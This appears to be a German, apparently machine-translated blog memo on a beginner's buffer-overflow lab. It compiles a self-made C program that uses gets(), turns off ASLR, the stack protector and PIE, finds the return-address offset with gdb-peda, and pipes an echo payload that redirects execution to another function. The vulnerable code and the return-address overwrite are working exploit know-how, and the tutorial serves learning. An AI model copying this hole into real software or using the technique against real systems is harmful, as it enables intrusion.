[LINUX] Verursachen Sie einen Pufferüberlauf und führen Sie eine beliebige Funktion aus.

Verursachen Sie einen Pufferüberlauf und führen Sie eine beliebige Funktion aus.

In einem Programm in der Sprache C tritt ein Pufferüberlauf auf, und die Rücksprungadresse wird neu geschrieben. Da es nur wenige Artikel gab, in denen zusammengefasst wurde, wie andere Funktionen von der Hauptfunktion aus aufgerufen werden, werde ich sie als Memo belassen.

Ausführungsumgebung CentOS 6.10 GNOME 2.26.2

Da gdb-peda verwendet wird, wird davon ausgegangen, dass die Installation dort abgeschlossen ist. Wenn Sie es nicht installiert haben, klicken Sie bitte hier. Einführung in gdbpeda

Bereiten Sie zunächst das Programm vor, über das Sie puffern möchten.

#include <stdio.h> 
#include <stdlib.h> 

int main(void){ 
 char first[] = "!!Hello World!!"; 
 char buf[16]; 


 puts(">>"); 
 gets(buf); 
 puts(first); 
 puts("that \'s All Fork!"); 
 return EXIT_SUCCESS; 
} 
int sub(){ 
 puts("Something wrong"); 
} 

kompilieren

Schalten Sie zuerst die ASLR aus

sudo sysctl -w kernel.randomize_va_space=0 
kompilieren

PIE, Stack Protector deaktiviert und kompiliert

gcc -o HelloWorld -O0 -g -fno-stack-protector HelloWorld.c -fno-PIE -fno-pie -fPIC 

Suchen Sie den Offset zur Absenderadresse

Starten Sie zuerst gdb

$ gdb HelooWorld 

Erstellen Sie eine zufällige Zeichenfolge

$ (gdb) pattern_create 50

Lauf

$ (gdb) r

Geben Sie die zufällige Zeichenfolge von früher ein.

Dann tritt ein Pufferüberlauf auf und stoppt auf diese Weise image.png

Beachten Sie hier die RSP-Adresszeichenfolge

Suche nach versetzten Zeichenfolgen

$ (gdb)patto "RSP-String hier"

Dies ergibt den Adressoffset. Diesmal war es 40.

Finden Sie die Adresse heraus, die Sie als nächstes ausführen möchten.

Überprüfen Sie vor dem Überprüfen des Speicherorts der Adresse erneut den Status des Pufferüberlaufs mit gdb.

Lauf

$ (gdb) r
  1. Fügen Sie eine entsprechende Zeichenfolge und einen Pufferüberlauf ein

Geben Sie dann den Namen der Funktion, die Sie ausführen möchten, in den Befehl disass ein. Hier ist es sub.

$ (gdb) disass sub

image.png Wenn Sie es ausführen, sieht es so aus

Notieren Sie sich hier die Top-Adresse.

Geben Sie die Adresse ein, indem Sie den zuvor erhaltenen Versatzwert verschieben.

Beachten Sie, dass Sie es hexadezimal eingeben. Es ist bequem, den Befehl echo zu verwenden.

In diesem Fall ist es wie folgt.

echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xea\x46\x55\x55\x55\x55\x00\x00' | ./HelooWorld 

Ergebnis

Sie können sehen, dass die Funktion sub () so aufgerufen wird! image.png

Impressionen

So einfach ist das, aber ich habe ein Beispiel für die Operation geschrieben. Abhängig von der Umgebung lief es nicht gut, daher hielt ich es für wichtig, Versuch und Irrtum zu machen. Ich hoffe, dieser Artikel hilft Ihnen in diesem Fall.

Recommended Posts

Verursachen Sie einen Pufferüberlauf und führen Sie eine beliebige Funktion aus.
Die wahre Ursache für einen Jubatus-Client, der einen Fehler ausspuckt